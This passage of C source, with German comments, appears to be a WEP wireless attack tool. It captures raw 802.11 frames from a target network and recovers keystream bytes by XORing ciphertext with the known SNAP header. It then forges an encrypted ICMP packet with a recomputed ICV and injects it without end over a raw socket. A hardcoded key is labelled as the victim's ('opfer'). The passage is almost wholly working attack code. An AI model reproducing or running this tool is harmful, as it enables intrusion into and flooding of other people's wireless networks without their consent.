 		0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33, //payload + icv
 		0x34, 0x35, 0x36, 0x37, 0x00, 0x00, 0x00, 0x00
 	};
 	int sequenz, i, ivc;
 	sequenz = (packet[17]);
 	sequenz = (sequenz<<4)+(packet[16]&0xf);
 
 		//build sequence-field
 		/* fragment 4 bit - squenz 12 bit */
 		//sequenz++;
 		//arp_enc[0x17] = packet[0x17]+(nr%16)?0:1;
 		ping_header[0x17] = (unsigned char)sequenz>>4; //die 8 hoechstwertigen bits
 		ping_header[0x16] = (0)|(unsigned char)((sequenz)<<4); //fragment-nr-4bit|sequenz-nr-4bit
 
 		//set IV
 		ping_header[0x18] = packet[0x18];
 		ping_header[0x19] = packet[0x19];
 		ping_header[0x1a] = packet[0x1a];
 		//set keyidx
 		ping_header[0x1b] = packet[0x1b];
 		//build icv-checksum over packet
 		ivc = crc32_bitoriented((ping_header+(0x1c)), 92);
 //		printf("crc: %x\n", ivc);
 		//build packet
 		ping_header[92 + 0x1c] = *(((uint8_t *)&ivc)+0);
 		ping_header[93 + 0x1c] = *(((uint8_t *)&ivc)+1);
 		ping_header[94 + 0x1c] = *(((uint8_t *)&ivc)+2);
 		ping_header[95 + 0x1c] = *(((uint8_t *)&ivc)+3);
 //		printf("ping unverschluesselt\n");
 		hexdump(ping_header, 96 + 0x1c, 1);
 
 		for(i=0;i<96;i++) ping_header[0x1c+i]^=kv[i];
 
 //		printf("ping verschluesselt\n");
 		hexdump(ping_header, 96 + 0x1c, 1);
 
 		while(1){
 		 write(rawsock, ping_header,96+ 0x1c);
 //		 printf(".");
 		}
 		
 }
 
 void
 have_fun(unsigned char packet[], int n)
 {
 	unsigned char iv[3], key_idx, kv[8];
 	char ask;
 	int i = 0;
 	rc4_key  rc4_schluessel;
 
 	unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer
 //	unsigned char wep_key[]={0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef};
 
 	//check if type is data
 	if ((unsigned char) packet[0] != 0x08) return;
 //	printf("data-package received\n");
 	//check if packet is encrypted
 	//if (! (((unsigned char) packet[1]) & 0x40)) return;
 
 #ifdef crypt1
 //	printf("IV: %X%X%X (KeyIdx: %x)\n", packet[24], packet[25], packet[26], packet[27]); 
 	iv[0] = packet[24];
 	iv[1] = packet[25];
 	iv[2] = packet[26];
 	key_idx = packet[27];
 
 	wep_key[0]= iv[0];
 	wep_key[1]=	iv[1];
 	wep_key[2]= iv[2];
 //	printf("#DEBUG:\tWEP_KEY =\t"); 
 	for(i=0;i<8;i++) printf("%x ", wep_key[i]);
 #endif
 
 	//building first 7 byte of keystream by cypherstream XOR SNAP
 	//standard-SNAP: AA AA 03 00 00 00 08
 	
 	kv[0] = packet[28] ^ 0xaa;
 	kv[1] = packet[29] ^ 0xaa;
 	kv[2] = packet[30] ^ 0x03;
 	kv[3] = packet[31] ^ 0x00;
 	kv[4] = packet[32] ^ 0x00;
 	kv[5] = packet[33] ^ 0x00;
 	kv[6] = packet[34] ^ 0x00;
 	
 	//guess if it is ARP or IPv4 for 8th byte of key
 	if (n == 86) { //ARP
 //		printf("Packet is propably ARP\n");
 		kv[7] = packet[35] ^ 0x06;
 	} else {//IPv4 or else
 //		printf("Packet is propably IPv4\n");
 		kv[7] = packet[35] ^ 00;
 	}
 	kv[7]=0x27^packet[35];
 
 #ifdef DEBUG
 //	printf("IV= %x %x %x (key_index=%u)\n", iv[0], iv[1],iv[2],key_idx);
 //	printf("First 8 Byte of Keystream: %X %X %X %X %X %X %X %X \n", kv[0], kv[1], kv[2], kv[3], kv[4], kv[5], kv[6], kv[7]);
 //	printf("starting RC4-PRNG\n");
 
 	prepare_key(wep_key,8/* KEY_LAENGE*/, &rc4_schluessel);
 	for(i=0;i<8;i++) nul[i]=0x00;
 	rc4(nul,8, &rc4_schluessel);
 //	printf("Schluesselstrom=\t");
 	for(i=0;i<8;i++) printf("%x\t", nul[i]);
 	printf("\n(mit schluesselstrom) entschluesseltes packet:\n");
 	for(i=0;i<8;i++) printf("%x\t", nul[i]^packet[28+i]);
 //	printf("\n");
 #endif
 	
 //	printf("First 8 Byte of Keystream: %X %X %X %X %X %X %X %X \n", kv[0], kv[1], kv[2], kv[3], kv[4], kv[5], kv[6], kv[7]);
 	//printf("Proceed y/n? ");
 	//ask = getc(stdin);
 	//getc(stdin);
 ask='y';
 	if (ask == 'y') send_arp(packet, iv, kv, key_idx);
 	return;
 }
 
 
 // Main Part
   int
 main (int argc, char **argv) 
 {
   int sock, uid, n, i;
   int packetsize = 2400;	//sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);
   unsigned char packet[packetsize];
   struct ifreq ifr;
   struct sockaddr_ll addr;
   
  
   i = 0; 
   if (argc != 2)
     {
       printf ("use ./sniff <dev>\n");
       return -1;
     }
   
     // Are you root?
     uid = getuid ();
   if (uid != 0)
     {
       printf ("You must have UID 0 instead of %d.\n", uid);
       exit (1);
     }
   
     // Raw Socket oeffnen
     
 /*by biba */ 
     if ((sock = socket (PF_PACKET, SOCK_RAW, 0)) < 0)
     return -1;
   bzero (&ifr, sizeof (ifr));
   strcpy (ifr.ifr_name, argv[1]);
   if (ioctl (sock, SIOCGIFHWADDR, &ifr))
     {
      	close (sock);
       return -1;
     }
   if (ioctl (sock, SIOCGIFINDEX, &ifr))
     {
       close (sock);
       return -1;
     }
   close (sock);
   if ((sock = socket (PF_PACKET, SOCK_RAW, htons (0x3))) == -1)
     {
       perror ("socket");
       exit (1);
     }
   bzero (&addr, sizeof (addr));
   addr.sll_family = AF_PACKET;
   addr.sll_ifindex = ifr.ifr_ifindex;
   rawsock = sock;
   
 #if 1
     if (bind (sock, (struct sockaddr *) &addr, sizeof (addr)) < 0)
     {
       close (sock);
       printf ("failed to bind device\n");
       return -23;
     }
   
 #endif /*  */
 /*************/ 
     
 // if( (sock = socket(AF_INET,SOCK_PACKET,htons(0x3))) == -1) { perror("socket"); exit(1); }
     while (1)
     
     {
       n = read (sock, packet, packetsize);
 	  /* wenn das netz eine bestimmt mac hat: packet+0x0a*/
 
       if (//(packet[0] == 0x08) &&
 				((TMAC0==(unsigned char)packet[10]) &&
 				  (TMAC1==(unsigned char)packet[11]) &&	
 				  (TMAC2==(unsigned char)packet[12]) &&	
 				  (TMAC3==(unsigned char)packet[13]) &&	
 				  (TMAC4==(unsigned char)packet[14]) &&	
 				  (TMAC5==(unsigned char)packet[15])) 
 /*			&&
 					(((MAC0==(unsigned char)packet[4]) &&
 				  	(MAC1==(unsigned char)packet[5]) &&	
 				  	(MAC2==(unsigned char)packet[6]) &&	
 				  	(MAC3==(unsigned char)packet[7]) &&	
 				  	(MAC4==(unsigned char)packet[8]) &&	
 				  	(MAC5==(unsigned char)packet[9]))
 				||
 					((MAC0==(unsigned char)packet[16]) &&
 				  	(MAC1==(unsigned char)packet[17]) &&	
 				  	(MAC2==(unsigned char)packet[18]) &&	
 				  	(MAC3==(unsigned char)packet[19]) &&	
 				  	(MAC4==(unsigned char)packet[20]) &&	
 				  	(MAC5==(unsigned char)packet[21])))*/
 		)
 	  	print_header (packet, n);
 
 	  	have_fun(packet, n);
       
 #if 0
 	for (i = 0; i < n; i++)
 	printf ("%x ", (unsigned char) packet[i]);
       printf ("%s:%d\t --> \t%s:%d \tSeq: %d \tAck: %d\n",
 	       inet_ntoa (*(struct in_addr *) &ip->saddr),
 	       ntohs (tcp->source),
 	       inet_ntoa (*(struct in_addr *) &ip->daddr), ntohs (tcp->dest),
 	       ntohl (tcp->seq), ntohl (tcp->ack_seq));
       
 #endif /*  */
     } return 0;
 }